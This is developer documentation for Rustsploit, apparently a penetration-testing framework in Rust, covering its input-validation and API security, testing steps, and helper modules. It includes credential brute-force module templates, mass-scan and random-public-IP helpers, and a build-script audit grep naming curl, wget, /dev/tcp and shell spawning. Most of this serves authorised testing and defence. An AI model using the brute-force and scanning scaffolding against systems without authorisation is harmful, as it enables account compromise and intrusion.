[!] Input contains shell/path patterns. Treated as literal text string.
```
### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
### 4. Target / Hostname Validation
Always use the framework's `normalize_target` function:
```rust
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
```
For custom character validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
### 5. Overflow Protection
```rust
// Use saturating_add to prevent integer overflow
counter = counter.saturating_add(1);
```
### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0u8;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// prompt logic
}
```
### 7. File Operations
When reading files:
1. Validate path does not contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
4. Skip symlinks for security
---
## API Security
The API server (`api.rs`) implements:
- **PQ-only transport.** All `/api/*` traffic is encrypted with the post-quantum hybrid (ML-KEM-768 + X25519 → ChaCha20-Poly1305 AEAD with a Double Ratchet). No TLS — the PQ channel IS the transport.
- **Per-(server, client) HKDF salts.** As of v0.4.9, salts are NOT hardcoded protocol constants. They're derived at handshake time via `derive_salt(label, server_pubs, client_pubs, identity_dh)` — the `identity_dh` input requires possession of one identity private key to compute, so a passive observer who sees the four public keys still cannot reconstruct the salt. Different (server, client) pairs derive different salt domains; key material from one session never leaks into another.
- **SSH-style allowlist.** A client's identity public key MUST appear in `~/.rustsploit/pq_authorized_keys` for the handshake to succeed (`pq_channel.rs::process_handshake`).
- **Token-bound enrollment.** `POST /pq/register-key` is the only network path that can add a new entry to the allowlist. The token is generated fresh at every `--api` startup (24 random bytes, URL-safe base64), printed to the console once, held only in memory, compared in constant time, and zeroized on first successful use. Subsequent key changes require the established PQ session.
- **Bind-address-agnostic safety.** `--interface` accepts any address (including `0.0.0.0`). Safety doesn't come from refusing public binds — it comes from the token gating the allowlist. There is no `--insecure-bind` escape hatch.
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max).
- **Handshake rate limiting** — `HANDSHAKE_RATE_MAX_PER_IP` (10 / 60s) on `/pq/handshake` and `/pq/register-key`. Auto-cleanup of stale entries every 5 min.
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat.
- **Per-session mutex on the server** — `SessionStore` is `RwLock<HashMap<_, Arc<Mutex<PqSession>>>>` so the global map lock isn't held across the inner handler. Different tenants don't serialize through one lock.
- **AAD covers everything.** Every encrypted message authenticates `method | path?query | epoch | session_id` (request) or `status | epoch | session_id` (response). The AAD is built using the post-ratchet epoch on both sides so rekey transitions don't break verification.
---
## MCP Server Security
The MCP server (`mcp/server.rs`) implements:
- **`isolate_protocol_stdout()`** — redirects fd 1 to /dev/null so module `println!` cannot corrupt the JSON-RPC stream
- **`MAX_LINE_BYTES`** — 1 MiB cap on incoming lines to prevent memory exhaustion
- **Binary-safe reads** — uses `read_until()` instead of `read_line()` for no UTF-8 requirement
- **Non-UTF-8 error handling** — returns proper JSON-RPC error responses for malformed input
---
## Spool Security
The spool system (`spool.rs`) implements:
- **`O_NOFOLLOW`** — prevents TOCTOU race conditions on symlinked spool files
- **Parent symlink check** — rejects spool paths with symlinked parent directories
- **Lock-first pattern** — acquires write lock before creating files to prevent orphaned files
- **`write_line()` returns `Result`** — callers handle write failures instead of silently dropping output
---
## Privilege Checks
Modules requiring raw sockets call `require_root()` at startup:
```rust
use crate::utils::privilege::require_root;
require_root("ICMP raw socket")?;
```
Returns a descriptive error with the current euid instead of a cryptic "permission denied" from the socket layer. Used by DoS modules, ping sweep, and raw packet scanners.
---
## Honeypot Detection
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
- Scans **200 common ports** with a 250 ms timeout each
- If **11 or more** ports respond, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually from module code:
```rust
use crate::utils::basic_honeypot_check;
basic_honeypot_check(&ip).await;
```
---
## IP Exclusion Ranges (`crate::exclusions::ExclusionSet`)
IP exclusions are handled by `crate::exclusions::shared()` (v0.5.2+), a
per-tenant pluggable exclusion set. **Modules do NOT implement their own
`EXCLUDED_RANGES` constants** — the scheduler enforces exclusions during
random fan-out.
Default exclusions (applied when `setg exclusions ""` or not set):
| CIDR | Category |
|------|----------|
| `10.0.0.0/8` | Private |
| `127.0.0.0/8` | Loopback |
| `172.16.0.0/12` | Private |
| `192.168.0.0/16` | Private |
| `224.0.0.0/4` | Multicast |
| `240.0.0.0/4` | Reserved |
| `0.0.0.0/8` | This network |
| `100.64.0.0/10` | Carrier-grade NAT |
| `169.254.0.0/16` | Link-local |
| `198.18.0.0/15` | Benchmarking |
| `198.51.100.0/24` | Documentation |
| `203.0.113.0/24` | Documentation |
| `255.255.255.255/32` | Broadcast |
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
### Configuration via `setg`
```text
setg exclusions "" # defaults (above)
setg exclusions internal # no filtering (pentesting internal networks)
setg exclusions none # no filtering
setg exclusions 10.0.0.0/8,172.16.0.0/12 # defaults + extra CIDRs
setg exclusions @/path/to/file # defaults + CIDRs from file (one per line)
```
Uses the `ipnetwork` crate for proper CIDR matching.
---
## Persistent Storage Security
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
| File | Purpose | Sensitivity |
|------|---------|-------------|
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
| `~/.rustsploit/results/` | Module output files | Medium |
| `~/.rustsploit/history.txt` | Shell command history | Medium |
| `~/.rustsploit/pq_host_key` | Server X25519 + ML-KEM-768 long-term private keys | **Critical — file mode 0600 enforced** |
| `~/.rustsploit/pq_authorized_keys` | SSH-style allowlist of client identity public keys (one JSON per line) | High — file mode 0600 enforced; symlink-safe writes |
| `~/.rustsploit/wordlists/` | Pinned wordlist cache (mode 0700) | Low |
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
---
## Panic-free guarantee (v0.4.9+)
The Rust source tree (`src/`) contains zero panicking patterns. CI policy:
```bash
grep -rnE "\.unwrap\(\)|\.expect\(|panic!\(|unreachable!\(|unimplemented!\(|todo!\(" src/
# Must return zero matches.
```
This applies to module code as well — historical `.expect("slice of length N was checked")` patterns are converted to `try_into().map_err(|_| anyhow!(...))?` even when the invariant truly held, so a future reader doesn't need to verify by hand. The `_or(default)` / `_or_default()` / `_or_else(|| ...)` family is fine — those provide values, not panics.
---
## Supply-chain (v0.4.9 audit)
Scope: 393 unique crates / 427 locked package versions.
| Check | Result |
|-------|--------|
| `cargo audit` (RUSTSEC active vulns) | 0 |
| Cross-ref vs. `categories=["malicious"]` advisories | 0 hits |
| Non-crates.io sources (git / path / alt registry) | 0 |
| Locked checksums present | 427 / 427 |
| `build.rs` scripts grep'd for `TcpStream` / `reqwest` / `curl` / `wget` / `/dev/tcp` / `base64::decode` / `exec` / `eval` / `spawn sh` | 0 hits across 35 build scripts |
**Hygiene notes** (informational):
- `rustls-pemfile` 2.2.0 unmaintained (RUSTSEC-2025-0134) — rustls upstream recommends `rustls-pki-types::pem`; tracked for migration.
- 7 pre-release crypto deps locked (`aead`/`aes-gcm`/`chacha20poly1305`/`poly1305` -rc, `ml-kem` -rc, `hickory-*` -alpha) — all from trusted orgs (RustCrypto, hickory-dns); re-pin to stable when each lands.
- `time` is overridden at `Cargo.toml:133` to `>=0.3.47` to absorb RUSTSEC-2026-0009 from the transitive cookie store.
+164
View File
@@ -0,0 +1,164 @@
# Testing & QA
Guidelines for verifying that new modules and framework changes are correct.
---
## Static Checks
Run before every commit or PR:
```bash
# Format code
cargo fmt
# Lint (use where available)
cargo clippy
# Compile check (fast, no linking)
cargo check
```
A clean `cargo check` with **0 errors** is required. The current codebase (363 modules) compiles with legacy warnings from mid-migration modules — see the Changelog for the running count.
---
## Build Verification
```bash
cargo build
```
Modules self-register via `register_native_module!` at compile time using
the `inventory` crate — there is no `build.rs` codegen (removed in v0.5.6).
All 363 modules are auto-discovered at link time. If a new module fails to
register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
---
## Runtime Smoke Tests
### Shell
```bash
cargo run
# Inside the shell:
modules # Verify new module appears in list
find <keyword> # Verify keyword search works
u scanners/sample_scanner
set target 127.0.0.1
go # Runs the sample scanner against localhost
```
### CLI
```bash
cargo run -- -m scanners/sample_scanner -t 127.0.0.1
cargo run -- --list-modules # Verify your module is listed
```
### API
```bash
# Start the server
cargo run -- --api
# Verify server starts (module listing requires PQ WebSocket session)
curl http://localhost:8080/health
```
---
## Unit Tests
Run all unit tests:
```bash
cargo test
```
Module-level tests can be added inline:
```rust
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_response() {
let output = parse_response(b"some payload");
assert!(output.is_some());
}
}
```
For async tests:
```rust
#[tokio::test]
async fn test_async_behavior() {
// ...
}
```
---
## Wordlist Validation
Before adding a module that depends on wordlists:
1. Confirm the file exists under `lists/`
2. Reference the path in docstrings or `lists/readme.md`
3. Validate it is non-empty at runtime and handle the empty case gracefully
---
## Framework Feature Smoke Tests
After modifying framework features, verify these work:
```bash
# Shell smoke test
cargo run
# Inside shell:
info exploits/sample_exploit # Should display module metadata
setg port 8080 # Set global option
show options # Should show port=8080
unsetg port # Remove it
creds # Should show empty cred store
hosts # Should show empty host list
workspace # Should show "default" workspace
loot # Should show empty loot
jobs # Should show no jobs
spool /tmp/test.log # Start console logging
spool off # Stop logging
export json /tmp/test.json # Should create JSON file
```
```bash
# API smoke test — verify server starts and health endpoint responds
cargo run -- --api
curl http://localhost:8080/health
# All other endpoints require a PQ WebSocket session — see API-Server.md
```
---
## Regression Notes
| Area | What to verify |
|------|----------------|
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
| New exploit | Response validated before declaring success, artifacts written to CWD |
| New scanner | Outputs parseable results, status codes filtered correctly |
| Mass-scan module | Scheduler exclusions applied, no per-module `EXCLUDED_RANGES`, target-specific filenames |
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
| Utils change | All prompt helpers still compile, no dead code warnings |
| Module with `info()` | `info` command displays metadata |
| Source port | Connections use `tcp_connect_str`/`udp_bind`, not raw socket calls |
| Batch mode | Interactive/REPL modules bail with `is_batch_mode()` guard |
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
| Workspace change | JSON saved on modification, workspace switch preserves data |
| Cred store change | JSON persistence works, search returns correct results |
---
## Known Disabled / Stubbed Code
| Module | Status | Reason |
|--------|--------|--------|
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient``Client`, builder pattern + `TokioRuntimeProvider`) |
+987
View File
@@ -0,0 +1,987 @@
# Utilities & Helpers
Rustsploit provides several utility modules that every module developer should know:
| Module | Import Path | Purpose |
|--------|-------------|---------|
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
| **Network Utils** | `crate::utils::network` | HTTP client builders (cached, pooled), TCP/UDP connect helpers, honeypot check |
| **Recog** | `crate::utils::recog` | Rapid7-Recog banner matcher — resolves a banner to structured `service.product`/`.version`/`.cpe23`, `os.product` (used by `service_scanner`) |
| **TLS Fingerprint** | `crate::utils::tls_fingerprint` | JARM (62-char hash), JA3, JA3S over a raw `TcpStream` (used by `jarm_scan`) |
| **Wordlist** | `crate::utils::wordlist` | Checksum-pinned `resolve(name)` (SecLists catalog) + streaming `BatchedReader` |
| **Privilege Utils** | `crate::utils::privilege` | Root privilege check for raw-socket modules |
| **Creds Helper** | `crate::utils::creds_helper` | Single-target credential brute-force harness (prompt, engine, loot, findings) |
| **Exploit Helper** | `crate::utils::exploit_helper` | HTTP probe helpers for single-target CVE exploit modules |
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
---
## `crate::utils` — Core Utilities
### `load_lines(path) → Result<Vec<String>>`
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
```rust
use crate::utils::load_lines;
let passwords = load_lines("passwords.txt")?;
for pw in &passwords {
// each entry is trimmed, non-empty
}
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `path` | `impl AsRef<Path>` | Path to the file to read |
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
---
### `normalize_target(raw) → Result<String>`
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
```rust
use crate::utils::normalize_target;
let target = normalize_target(user_input)?;
// target is now in one of:
// "192.168.1.1" (IPv4)
// "192.168.1.1:8080" (IPv4 + port)
// "[::1]" (IPv6)
// "[::1]:8080" (IPv6 + port)
// "example.com" (hostname)
// "192.168.1.0/24" (CIDR)
```
| Input Format | Example |
|--------------|---------|
| IPv4 | `192.168.1.1` |
| IPv4 + port | `192.168.1.1:8080` |
| IPv6 | `::1`, `2001:db8::1` |
| IPv6 + port | `[::1]:8080` |
| Hostname | `example.com`, `example.com:443` |
| URL | `http://example.com:8080` → extracts `example.com:8080` |
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
---
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
#### `cfg_prompt_required(key, msg) → Result<String>`
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
```rust
use crate::utils::cfg_prompt_required;
let community = cfg_prompt_required("community", "SNMP community string").await?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
| `msg` | `&str` | Prompt message shown to user in shell mode |
**Errors** in API mode if key is missing (required field).
---
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
```rust
use crate::utils::cfg_prompt_yes_no;
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
| `msg` | `&str` | Prompt message shown to user in shell mode |
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
---
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
```rust
use crate::utils::cfg_prompt_existing_file;
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
let lines = load_lines(&wordlist)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key for API mode |
| `msg` | `&str` | Interactive prompt message |
**Errors** in API mode if key is missing (required field).
---
#### `cfg_prompt_int_range(key, msg, default, min, max) → Result<i64>`
Integer prompt with range validation.
```rust
use crate::utils::cfg_prompt_int_range;
let threads = cfg_prompt_int_range("threads", "Number of threads", 10, 1, 100)?;
let delay = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 50, 0, 60000)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `i64` | Default value |
| `min` | `i64` | Minimum allowed value |
| `max` | `i64` | Maximum allowed value |
---
#### `cfg_prompt_default(key, msg, default) → Result<String>`
Generic string prompt with a default value.
```rust
use crate::utils::cfg_prompt_default;
let method = cfg_prompt_default("http_method", "HTTP method", "GET")?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `&str` | Default value when empty |
---
#### `cfg_prompt_port(key, msg, default) → Result<u16>`
Port number prompt. Validates range 165535.
```rust
use crate::utils::cfg_prompt_port;
let port = cfg_prompt_port("port", "Target port", 22)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key |
| `msg` | `&str` | Interactive prompt message |
| `default` | `u16` | Default port number |
---
#### `cfg_prompt_output_file(key, msg, default) → Result<String>`
Output filename prompt. **Forces basename only** — strips any directory path to prevent traversal. Rejects hidden files (starting with `.`) and filenames over 255 chars.
```rust
use crate::utils::cfg_prompt_output_file;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt")?;
// output is guaranteed to be a safe basename like "results.txt"
```
---
#### `cfg_prompt_wordlist(key, msg) → Result<String>`
Wordlist file prompt. Validates the file exists, rejects path traversal and unsafe paths (same security as `cfg_prompt_existing_file`). Priority: custom_prompts > global_options > interactive stdin.
```rust
use crate::utils::cfg_prompt_wordlist;
let wordlist = cfg_prompt_wordlist("wordlist", "Path to wordlist file").await?;
let lines = load_lines(&wordlist)?;
```
| Parameter | Type | Description |
|-----------|------|-------------|
| `key` | `&str` | Prompt key for API mode |
| `msg` | `&str` | Interactive prompt message |
**Errors** in API mode if key is missing (required field). Also errors if the file does not exist.
---
### Complete Module Integration Example
Here's a typical native module using core utils:
```rust
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::utils::{
load_lines,
cfg_prompt_yes_no, cfg_prompt_existing_file,
cfg_prompt_int_range, cfg_prompt_port,
cfg_prompt_output_file,
};
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("requires single target")?;
let mut outcome = ModuleOutcome::ok();
let port = cfg_prompt_port("port", "Target port", 22).await?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist").await?;
let threads = cfg_prompt_int_range("threads", "Threads", 10, 1, 100).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let output = cfg_prompt_output_file("output_file", "Output file", "results.txt").await?;
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
crate::mprintln!("[*] Targeting {} with {} users × {} passwords", target, users.len(), passwords.len());
// ... bruteforce logic using tcp_connect_str for source port support ...
Ok(outcome)
}
```
---
## `crate::utils::creds_helper` — Single-Target Credential Harness (v0.5.5+)
The preferred way to write a credential brute-force module. Wraps: target parsing,
TCP precheck, wordlist prompts, brute-force engine wiring, loot persistence,
workspace tracking, and `Finding` emission.
```rust
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("requires single target")?;
creds_helper::run(
target,
CredsRun {
service_name: "myproto",
default_port: 1234,
source_module: "creds/generic/myproto_bruteforce",
defaults: &[("admin", "admin")],
password_only: false,
},
|host, port, user, pass, timeout| async move {
probe(&host, port, &user, &pass, timeout).await
},
)
.await
}
```
### Probe closure signature
```rust
Fn(String, u16, String, String, Duration) -> Future<Output = LoginResult>
```
The fifth parameter (`Duration`) is the user-configured timeout from `setg timeout N`
or the interactive prompt. It is passed through to the probe so inner functions honour
the operator's setting — no hardcoded timeouts inside probes.
### Utility functions
| Function | Description |
|----------|-------------|
| `connect_with_timeout(addr, deadline)` | Async TCP connect via framework wrapper → `io::Result<TcpStream>` |
| `read_exact_with_timeout(reader, buf, deadline)` | Exact-read with timeout, flattened error |
| `parse_host_port(target, default_port)` | Public `(host, port)` splitter |
### Modules using creds_helper
All 13 generic credential modules: `couchdb`, `elasticsearch`, `fortinet`,
`l2tp`, `memcached`, `mqtt`, `mysql`, `postgres`, `rdp`, `rtsp`, `snmp`,
`telnet`, `vnc` bruteforces.
---
## `crate::utils::exploit_helper` — HTTP Exploit Probe Helpers (v0.5.5+)
Shared helpers for single-target CVE exploit probes:
| Function | Description |
|----------|-------------|
| `http_client(timeout)` | `reqwest::Client` via `build_http_client` |
| `marker(prefix)` | Random marker string for echo-based detection |
| `report_vulnerable(host, port, cve, summary, payload, source)` | Emit finding + loot |
| `report_not_vulnerable(host, port, reason)` | Log not-vulnerable result |
| `scheme_for(port)` | Returns `"https"` for 443/8443, `"http"` otherwise |
Used by 18+ exploit modules to reduce each to ~50 LOC.
---
## `crate::modules::creds::utils` — Credential Module Utilities
Import path:
```rust
use crate::modules::creds::utils::{
BruteforceStats, is_subnet_target, parse_subnet, subnet_host_count,
generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions,
};
```
---
### `BruteforceStats`
Thread-safe statistics tracker for bruteforce modules. Uses atomics for counters and a `Mutex<HashMap>` for error categorization. Create one per module run and share via `Arc`.
```rust
use std::sync::Arc;
use crate::modules::creds::utils::BruteforceStats;
let stats = Arc::new(BruteforceStats::new());
// In each worker task:
let stats = Arc::clone(&stats);
tokio::spawn(async move {
match attempt_login(&host, &user, &pass).await {
Ok(true) => stats.record_success(),
Ok(false) => stats.record_failure(),
Err(e) => stats.record_error(format!("{}", e)).await,
}
// Show live progress (prints inline with \r)
stats.print_progress();
});
// After all tasks complete:
stats.print_final().await;
```
#### Methods
| Method | Async | Description |
|--------|-------|-------------|
| `BruteforceStats::new()` | No | Create a new stats tracker (starts the timer) |
| `.record_success()` | No | Increment total + successful counters |
| `.record_failure()` | No | Increment total + failed counters |
| `.record_error(msg)` | **Yes** | Increment total + error counters, log error message |
| `.record_retry()` | No | Increment retry counter |
| `.print_progress()` | No | Print inline progress bar (`\r` overwrite) |
| `.print_final()` | **Yes** | Print full statistics summary with top 5 errors |
---
### `is_subnet_target(target) → bool`
Check if a target string is CIDR notation (e.g., `192.168.8.0/21`). Use this to branch between single-host and subnet-scan logic.
```rust
use crate::modules::creds::utils::is_subnet_target;
if is_subnet_target(&target) {
// Iterate subnet
} else {
// Single host
}
```
---
### `parse_subnet(target) → Result<IpNetwork>`
Parse a CIDR string into an `ipnetwork::IpNetwork`. **Does NOT allocate a Vec** — callers iterate lazily with `.iter()`, making it safe for any prefix size (`/0` through `/32`).
```rust
use crate::modules::creds::utils::parse_subnet;
let network = parse_subnet("192.168.1.0/24")?;
for ip in network.iter() {
println!("Scanning {}", ip);
}
```
---
### `subnet_host_count(net) → u128`
Returns the number of host IPs in a network. Useful for progress display and ETA calculations.
```rust
use crate::modules::creds::utils::{parse_subnet, subnet_host_count};
let net = parse_subnet("10.0.0.0/8")?;
println!("Scanning {} hosts", subnet_host_count(&net));
// → "Scanning 16777216 hosts"
```
---
### `generate_random_public_ip(exclusions) → IpAddr`
> **Deprecated for module use.** Random IP generation is now handled by
> `scheduler::fanout_random` with `crate::exclusions::ExclusionSet`. Modules
> should NOT call this directly — the scheduler does the fan-out.
Generates a random IPv4 address that is **not** in any excluded range. Automatically skips `10.x.x.x`, `127.x.x.x`, and `0.x.x.x` in addition to the provided exclusion list.
```rust
use crate::modules::creds::utils::{generate_random_public_ip, parse_exclusions};
let exclusions = parse_exclusions(&[
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"100.64.0.0/10", // CGNAT
"224.0.0.0/4", // Multicast
]);
let ip = generate_random_public_ip(&exclusions);
println!("Random target: {}", ip);
```
---
### `parse_exclusions(cidrs) → Vec<IpNetwork>`
Parses an array of CIDR strings into `IpNetwork` objects for use with `generate_random_public_ip`. Invalid CIDRs are silently skipped.
```rust
use crate::modules::creds::utils::parse_exclusions;
let excluded = parse_exclusions(&["10.0.0.0/8", "192.168.0.0/16", "not-valid"]);
// excluded.len() == 2 (invalid entry silently dropped)
```
---
### `is_ip_checked(ip, state_file) → bool` / `mark_ip_checked(ip, state_file)`
Persistent scan-state tracking. Prevents re-scanning the same IP across multiple runs by writing `checked: <ip>` lines to a state file.
```rust
use crate::modules::creds::utils::{is_ip_checked, mark_ip_checked};
let state_file = "mqtt_cidr_results.txt";
for ip in network.iter() {
if is_ip_checked(&ip, state_file).await {
continue; // Already scanned
}
// ... scan the IP ...
mark_ip_checked(&ip, state_file).await;
}
```
| Function | Async | Description |
|----------|-------|-------------|
| `is_ip_checked(ip, state_file)` | **Yes** | Returns `true` if IP was previously marked. Creates the state file if missing. |
| `mark_ip_checked(ip, state_file)` | **Yes** | Appends `checked: <ip>` to the state file. |
> **Note:** Both functions accept any type implementing `ToString` for the IP parameter.
---
## Complete Credential Module Example
The preferred pattern uses `creds_helper::run` (see the creds_helper section above).
For modules that need custom logic beyond the harness:
```rust
use anyhow::{Context, Result};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{
load_lines,
cfg_prompt_port, cfg_prompt_existing_file,
cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_output_file,
};
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("requires single target")?;
let mut outcome = ModuleOutcome::ok();
let port = cfg_prompt_port("port", "Target port", 1883).await?;
let user_file = cfg_prompt_existing_file("user_wordlist", "Username wordlist").await?;
let pass_file = cfg_prompt_existing_file("pass_wordlist", "Password wordlist").await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose?", false).await?;
let users = load_lines(&user_file)?;
let passwords = load_lines(&pass_file)?;
for user in &users {
for pass in &passwords {
// Use framework wrappers for source port support
let stream = crate::utils::network::tcp_connect_str(
&format!("{}:{}", target, port),
std::time::Duration::from_secs(10),
).await;
// ... attempt login ...
}
}
Ok(outcome)
}
```
---
## `crate::config` — Framework Configuration
Import path:
```rust
use crate::config::{
GLOBAL_CONFIG, GlobalConfig, TargetConfig,
ModuleConfig, get_module_config, set_module_config, clear_module_config,
results_dir,
};
```
---
### `GLOBAL_CONFIG` (static `GlobalConfig`)
Thread-safe singleton that holds the current target. Set by the shell (`set target`) or CLI (`--target`). Module code reads it but rarely needs to write to it.
```rust
use crate::config::GLOBAL_CONFIG;
// Check if a target is set
if !GLOBAL_CONFIG.has_target() {
println!("No target set!");
return Ok(());
}
// Read the target as a string
let target = GLOBAL_CONFIG.get_target().unwrap();
println!("Targeting: {}", target);
```
#### `GlobalConfig` Methods
| Method | Returns | Description |
|--------|---------|-------------|
| `.set_target(target)` | `Result<()>` | Set global target (IP, hostname, or CIDR). Validates input. |
| `.get_target()` | `Option<String>` | Get the target as a display string |
| `.get_single_target_ip()` | `Result<String>` | Get single IP; for subnets returns the network address |
| `.has_target()` | `bool` | Check if any target is set |
| `.is_subnet()` | `bool` | `true` if the target is a CIDR subnet |
| `.get_target_subnet()` | `Option<IpNetwork>` | Returns the `IpNetwork` if target is a subnet |
| `.get_target_size()` | `Option<u64>` | Number of IPs (1 for single, 2^(32-prefix) for subnets) |
| `.clear_target()` | `()` | Unset the target |
#### `TargetConfig` Enum
```rust
use crate::config::TargetConfig;
pub enum TargetConfig {
Single(String), // Single IP or hostname
Subnet(IpNetwork), // CIDR subnet
}
```
---
### `ModuleConfig` & API Prompt Keys
`ModuleConfig` bridges modules to the API. When the API server receives a `/api/run` request, it populates a `ModuleConfig` with the JSON `"prompts"` object. The `cfg_prompt_*` functions in `src/utils/prompt.rs` read these values instead of prompting stdin.
#### Struct Fields
```rust
pub struct ModuleConfig {
pub port: Option<u16>,
pub username_wordlist: Option<String>,
pub password_wordlist: Option<String>,
pub concurrency: Option<usize>,
pub stop_on_success: Option<bool>,
pub save_results: Option<bool>,
pub output_file: Option<String>,
pub verbose: Option<bool>,
pub combo_mode: Option<bool>,
pub custom_prompts: HashMap<String, String>, // ← cfg_prompt_* reads from here
pub api_mode: bool, // ← prevents stdin fallback
}
```
#### Helper Functions
| Function | Description |
|----------|-------------|
| `get_module_config()` | Get a clone of the current config (safe to call from any module) |
| `set_module_config(config)` | Set the config (called by API server before module execution) |
| `clear_module_config()` | Reset to defaults (called after module execution) |
```rust
use crate::config::get_module_config;
let config = get_module_config();
if config.api_mode {
// Running via API — don't expect stdin
}
if let Some(port) = config.port {
// Use pre-configured port
}
```
#### Standardized API Prompt Keys
When building API requests, use these standardized keys in the `"prompts"` JSON object:
**Common keys (most modules):**
| Key | Type | Description |
|-----|------|-------------|
| `port` | u16 | Target service port |
| `timeout` | int | Connection timeout (seconds or ms) |
| `verbose` | y/n | Verbose output |
| `save_results` | y/n | Save results to file |
| `output_file` | string | Output filename |
| `concurrency` | int | Concurrent threads/tasks |
| `threads` | int | Alias for concurrency |
| `wordlist` | path | Path to wordlist file |
| `target_file` | path | File containing targets |
| `mode` | string | Operation mode (1, 2, 3, etc.) |
**Scanner-specific keys** (see full list in `config.rs` doc comments):
